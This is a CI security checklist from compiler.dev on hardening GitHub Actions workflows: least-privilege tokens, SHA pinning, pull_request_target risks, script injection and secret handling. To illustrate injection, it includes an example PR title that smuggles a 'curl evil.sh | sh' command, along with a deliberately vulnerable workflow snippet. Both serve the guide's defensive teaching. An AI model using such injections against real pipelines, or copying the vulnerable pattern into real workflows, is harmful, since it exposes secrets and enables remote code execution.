Securing GitHub Actions: A Hardening Checklist
A CI workflow runs code with access to your secrets and often your cloud. Attackers know this: compromised third-party actions and injected pull request titles have both been used to steal credentials. The defences are mostly small YAML changes. This checklist is ordered by how much risk each item removes.
1. Give the token the least privilege
Every workflow run gets a GITHUB_TOKEN. Set the default to read-only, then grant extra permissions per job. In the repository or organization settings, set workflow permissions to "Read repository contents and packages permissions", and declare what you need in YAML:
permissions:
contents: read
jobs:
release:
runs-on: ubuntu-latest
permissions:
contents: write # create the release
id-token: write # OIDC, see below
steps: [...]
Once you set permissions in a workflow, any permission you do not list is set to none. A top-level contents: read plus per-job exceptions is a good pattern. The workflow YAML checker flags workflows with no permissions block.
2. Pin third-party actions to a full commit SHA
Tags and branches can be moved. In March 2025 the popular tj-actions/changed-files action was compromised and its tags were repointed to a malicious commit that printed secrets into logs (tracked as CVE-2025-30066). Workflows that referenced a tag ran the attacker's code; workflows pinned to a full commit SHA did not.
# Before
- uses: some-org/some-action@v3
# After: full 40-character SHA, version in a comment
- uses: some-org/some-action@8e5e7e5ab8b370d6c329ec480221332ada57f0ab # v3.5.2
Only a full-length SHA is immutable. Pin every action that is not published by GitHub itself, and consider pinning GitHub's own too. Keep the pins current with Dependabot, which updates SHA-pinned actions and keeps the version comment in sync (see Dependabot setup). GitHub also offers a policy that can require actions to be pinned to a full-length SHA, in the repository or organization Actions settings; check your plan's options.
Reusable workflows are code too: pin them the same way (uses: org/repo/.github/workflows/x.yml@<sha>).
3. Be careful with pull_request_target
pull_request workflows triggered by forks run with a read-only token and no secrets. pull_request_target runs in the context of the base branch and does get secrets and a write token. That is useful for labeling PRs and dangerous if combined with checking out and running the PR's code:
# DANGEROUS: runs untrusted code with secrets
on: pull_request_target
jobs:
test:
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }}
- run: npm ci && npm test # attacker controls package.json scripts
Rules:
- Do not check out or execute code from the PR head in a
pull_request_targetworkflow. - If you need both, split into two workflows: an unprivileged
pull_requestworkflow that builds and tests and uploads results as artifacts, and a privilegedworkflow_runworkflow that reads those artifacts and comments. Treat the artifacts as untrusted data. - The same applies to
issue_commentandworkflow_run, which also run with privileges.
4. Prevent script injection
Expressions are expanded into the script text before it runs. If you interpolate attacker-controlled text into a run: step, the attacker writes shell:
# Vulnerable: a PR titled "; curl evil.sh | sh # runs the payload
- run: echo "Title: ${{ github.event.pull_request.title }}"
Pass untrusted values through environment variables, which are not expanded as shell code:
- run: echo "Title: $PR_TITLE"
env:
PR_TITLE: ${{ github.event.pull_request.title }}
Untrusted inputs include PR titles and bodies, branch names, commit messages, issue text, and github.head_ref. For actions/github-script, read values from context.payload in JavaScript instead of embedding expressions in the script string.
5. Handle secrets deliberately
- Prefer short-lived credentials: OIDC to AWS replaces stored access keys.
- Scope secrets to environments (
environment: production) with required reviewers, so a job needs approval to read production secrets. - GitHub masks registered secrets in logs, but only exact values; derived or transformed values, such as base64, are not masked. Do not print them.
- Never pass secrets on command lines that appear in logs or process lists when a file or environment variable will do.
- Rotate on suspicion. If a third-party action is compromised, rotate every secret that workflow could read.
6. Limit who can run what
- Require approval for workflows from first-time contributors, and for all outside collaborators, in the Actions settings.
- Restrict allowed actions to GitHub-created, verified creators or an explicit allow list.
- Protect
.github/workflows/with CODEOWNERS so workflow changes need review from a trusted team. - Use rulesets or branch protection so that only protected branches can deploy.
7. Self-hosted runner hygiene
Use ephemeral runners, never use them for public repositories, and restrict runner groups to specific repos. See self-hosted vs GitHub-hosted runners.
8. Scan your workflows
Static tools catch many of these issues automatically: zizmor, actionlint and CodeQL's Actions queries. Add one to CI so new workflows are checked on every PR:
- uses: docker://rhysd/actionlint:latest
with:
args: -color
Pin that image to a digest too. For a quick manual review, paste a workflow into the YAML checker.
A short checklist
- Default token permissions set to read-only; explicit
permissionsin every workflow. - Third-party actions pinned to full SHAs; Dependabot updating them.
- No PR-head checkout in
pull_request_targetorworkflow_runworkflows. - No
${{ }}of untrusted input insiderun:scripts. - OIDC instead of stored cloud keys; environment-scoped secrets with approvals.
- CODEOWNERS on
.github/. - A workflow linter in CI.
FAQ
Is @v4 safe for GitHub's own actions?
Tags on actions/* are managed by GitHub and widely used. Pinning to a SHA is stricter; whether you do it for first-party actions depends on your risk tolerance.
Do secrets reach workflows from forks?
Not with pull_request: forks get a read-only token and no secrets. They do with pull_request_target, which is why it needs the care above.
Can Dependabot keep SHA pins updated?
Yes. Add the github-actions ecosystem to dependabot.yml.
What should I do first?
Set default permissions to read-only and add permissions: blocks. It takes minutes and removes the largest source of excess access.
Where compiler.dev fits
compiler.dev runs your existing workflows on its runners, so the same hardening applies: pinned actions, minimal token scopes and OIDC. Use the free YAML checker on your workflows before you move anything.
Made by compiler.dev. Free tools · Pricing